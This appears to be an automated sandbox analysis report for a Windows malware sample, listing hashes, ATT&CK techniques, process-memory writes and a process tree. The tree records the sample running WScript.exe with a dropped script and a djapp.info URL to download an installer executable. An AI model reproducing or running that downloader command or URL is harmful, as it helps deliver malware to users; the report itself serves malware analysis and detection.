56e6a780ac16acf3e5f42fd511424223a0b0cc0c60074a0d4a4ff1a70d09cb2d

General

Target

90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe
Size

184KB
MD5

90a599f38f9db53b7bdd9fbae210cae7
SHA1

cfa78d72eded90c969c7642161215cb6bb8b957e
SHA256

56e6a780ac16acf3e5f42fd511424223a0b0cc0c60074a0d4a4ff1a70d09cb2d
SHA512

0c70bb8ae8143b8e81a13225294302ceeb677984ba5d11c095fa4e2c9cb62a238b2621ed48ad86db3a686d36cdbd56232cea62a0998df0afe5970af55fa244e7
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3y/:/7BSH8zUB+nGESaaRvoB7FJNndnH/

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
6	740	WScript.exe
24	2972	WScript.exe
26	5008	WScript.exe
38	4868	WScript.exe
40	4644	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2816	2996	WerFault.exe	81

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2996 wrote to memory of 740	2996	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	82
PID 2996 wrote to memory of 740	2996	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	82
PID 2996 wrote to memory of 740	2996	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	82
PID 2996 wrote to memory of 2972	2996	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	90
PID 2996 wrote to memory of 2972	2996	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	90
PID 2996 wrote to memory of 2972	2996	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	90
PID 2996 wrote to memory of 5008	2996	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	91
PID 2996 wrote to memory of 5008	2996	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	91
PID 2996 wrote to memory of 5008	2996	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	91
PID 2996 wrote to memory of 4868	2996	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	93
PID 2996 wrote to memory of 4868	2996	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	93
PID 2996 wrote to memory of 4868	2996	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	93
PID 2996 wrote to memory of 4644	2996	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	94
PID 2996 wrote to memory of 4644	2996	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	94
PID 2996 wrote to memory of 4644	2996	90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe	94

C:\Users\Admin\AppData\Local\Temp\90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\90a599f38f9db53b7bdd9fbae210cae7_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2996
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf416E.js" http://www.djapp.info/?domain=jDTTIxHkiN.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf416E.exe
  2⤵
  - Blocklisted process makes network request
  PID:740
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf416E.js" http://www.djapp.info/?domain=jDTTIxHkiN.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf416E.exe
  2⤵
  - Blocklisted process makes network request
  PID:2972
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf416E.js" http://www.djapp.info/?domain=jDTTIxHkiN.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf416E.exe
  2⤵
  - Blocklisted process makes network request
  PID:5008
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf416E.js" http://www.djapp.info/?domain=jDTTIxHkiN.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf416E.exe
  2⤵
  - Blocklisted process makes network request
  PID:4868
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf416E.js" http://www.djapp.info/?domain=jDTTIxHkiN.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjRkMq1-z3n14mGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4TnN8h7QLzH0U3xJfiM4HTyzx-uhliieAHsAuFdn1QCdbTV8zh C:\Users\Admin\AppData\Local\Temp\fuf416E.exe
  2⤵
  - Blocklisted process makes network request
  PID:4644
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2996 -s 1468
  2⤵
  - Program crash
  PID:2816

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 2996 -ip 2996
1⤵
PID:2104

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf416E.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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